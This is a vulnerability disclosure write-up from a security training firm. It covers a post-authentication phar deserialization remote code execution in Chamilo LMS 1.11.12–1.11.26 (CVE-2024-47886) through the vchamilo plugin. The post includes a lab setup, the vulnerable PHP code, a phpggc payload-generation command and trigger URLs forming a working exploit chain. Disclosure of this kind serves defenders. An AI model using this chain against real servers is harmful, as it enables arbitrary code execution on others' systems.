This article is the result of an OffenSkill Training. It explores a post-authentication phar unserialize
leading to a remote code execution (RCE) within Chamilo
(Learning Management System) 1.11.12
up to 1.11.26
. By abusing multiple supported features from the virtualization plugin vchamilo
, the vulnerability allows an administrator to execute arbitrary code on the server.
This training took place almost a year ago, but we did not take the time to write the results out (oops). The version analyzed back then was 1.11.12
but as of today, is 1.11.26
(+ a 2.0.0
version in alpha)! I haven’t tested for 2.0.0
, but I can affirm that this exploit works at least from 1.11.12
up to 1.11.26
, and probably on earlier versions as well.
The setup is docker-compose based, using intensively https://github.com/22phuber/docker-compose-chamilo-lms but patched to use the latest Chamilo release, as the last changes for this repo are 2 years old, while Chamilo kept updating and releasing!
The setup is started with: docker compose up --build --force-recreate --remove-orphans
version: "3.5"
services:
mariadb:
image: mariadb
environment:
- MYSQL_ROOT_PASSWORD=pass
- MYSQL_USER=chamilo
- MYSQL_PASSWORD=chamilo
- MYSQL_DATABASE=chamilo
labels:
"project.id": "docker.compose.mariadb"
"project.github.url": "https://github.com/22phuber/docker-compose-chamilo-lms"
chamilo_php7:
build:
context: ./chamilo-php7
target: php7_apache_chamilo_lms
args:
- CHAMILO_VERSION=1.11.26
- CHAMILO_TAR=chamilo-1.11.26.tar.gz
links:
- mariadb
ports:
- "8000:80"
extra_hosts:
- "docker.chamilo.net:127.0.0.1"
labels:
"project.id": "docker.compose.chamilo_lms"
"project.github.url": "https://github.com/22phuber/docker-compose-chamilo-lms"
Nothing too specific here, we have one backend and a database. The research setup included a Snuffleupagus setup to log interesting functions being reached, and a Sysdig container for system-level introspection
, IOs
, networking
, executed commands
, and more.
As usual, to discover more attack surface, and get intimate with the studied software, what I suggest is to login as an administrator, and start messing around, clicking, inspecting, nothing too structured, just play with it, let your thoughts flow, note every idea or point of interest down!
We won’t cover them all here, but one plugin that right away caught our attention if vchamilo
. It is disabled by default, but can be enabled back and provides virtualization capabilities, which is… Supposed powerful?
I’m too lazy to script today, but here are the URLs, feel free to click click your way through, or offer a script to the community! ;)
# Enable Virtualization plugin
http://127.0.0.1:8000/main/admin/settings.php?category=Plugins
# Generate phar payload
phpggc -p phar -o foo.png monolog/rce1 system id
# Upload phar as foo.png & get relative path/url (right-click + get-infos)
http://127.0.0.1:8000/main/social/myfiles.php
# Set "Container effectif" de cours (chemin réel) to "phar://"
http://127.0.0.1:8000/main/admin/configure_plugin.php?name=vchamilo
# Empty cache: It's needed while you test, otherwise the cache won't let you replay/retry
http://127.0.0.1:8000/main/admin/archive_cleanup.php
# Trigger phar unserialize
http://127.0.0.1:8000/plugin/vchamilo/views/manage.testdatapath.php?dataroot=/var/www/chamilo/app/upload/users/1/1/my_files/foo.png
This won’t be long as -almost- one file is used by this exploit.
Sometimes exposed features and a touch of intuition
are enough!
The involved code lives in /var/www/chamilo/plugin/vchamilo/views/manage.testdatapath.php
<?php
// -[SNIP]-
require_once __DIR__.'/../../../main/inc/global.inc.php';
api_protect_admin_script();
$plugin = VChamiloPlugin::create();
$dataroot = $_REQUEST['dataroot'];
$absalternatecourse = Virtual::getConfig('vchamilo', 'course_real_root');
if (!empty($absalternatecourse)) {
$coursedir = str_replace('//', '/', $absalternatecourse.'/'.$dataroot);
} else {
$coursedir = api_get_path(SYS_PATH).$dataroot;
}
if (is_dir($coursedir)) {
$DIR = opendir($coursedir);
$cpt = 0;
$hasfiles = false;
while (($file = readdir($DIR)) && !$hasfiles) {
if (!preg_match("/^\\./", $file)) {
$hasfiles = true;
}
}
closedir($DIR);
// -[SNIP]-
} else {
// -[SNIP]-
}
// -[SNIP]-
From this, we’ll deduce that:
phar:// prefix
comes from the internal variable storage
$absalternatecourse = Virtual::getConfig('vchamilo', 'course_real_root');
full path / suffix
comes from the php GET or POST variables
$dataroot = $_REQUEST['dataroot'];
$coursedir = api_get_path(SYS_PATH).$dataroot;
is_dir
check. Excuse me What The PharFuck?
if (is_dir($coursedir)) {
is_dir
which supports the phar://
scheme
is_dir
is deadly when php < 8.0.0 and gadgets are available
.Side note on the gadget used: Grepping “monolog” or usual gadgets from Phpggc was straightforward. Libs are used, they offer gadgets, then it’s standard phar business that I won’t detail more here.
Phar are archives, they can contain files or directories, but are a single file…
So in a way, it’s wrong, but it’s right, but so wrong.¯\_(ツ)_/¯
$coursedir = api_get_path(SYS_PATH).$dataroot;
.$coursedir = str_replace('//', '/', $absalternatecourse.'/'.$dataroot);
Both approaches would break the attack. That’s why it’s required to have a double injection point before triggering the exploit, but in the meantime, it makes automated detection less likely. It’s 2024 and brains are still required, what a life.. 🙃
The draft patch contained two patterns that are often seen as a decent first approach, but are actually not:
The idea here is not to throw stones, the staff reaction to my bypasses was really enthusiastic, they were happy to learn common weak patterns, and came up with the final fix: “Let’s blank that unused file !” 🌹
But I still wanted to share these examples are they are used way too often.. 😅
Late in 2024, @cfreal_ disclosed the CVE-2024-2961
and its PoC.
This is a direct remote code execution at glibc level reached through the php iconv filter.
This implies that even if the exploit introduced here can be used on updated linux hosts, the same sinks can also be abused to obtain a one shot file-less RCE through CNEXT. This would not require phar/png upload, phar gadgets, nor a php version below 8.1 (automatic phar metada unserialize disabled) to be exploitable.
This really is a game changer, being on this issue or every phar based exploit in the past 20 years…
Again, a HUGE Gg to @cfreal_ for pushing it that far once more! 🫡
CVE-2024-47886
is issued! 🥰Attendees:
Findings:
Join the next Web Security Trainings at Offenskill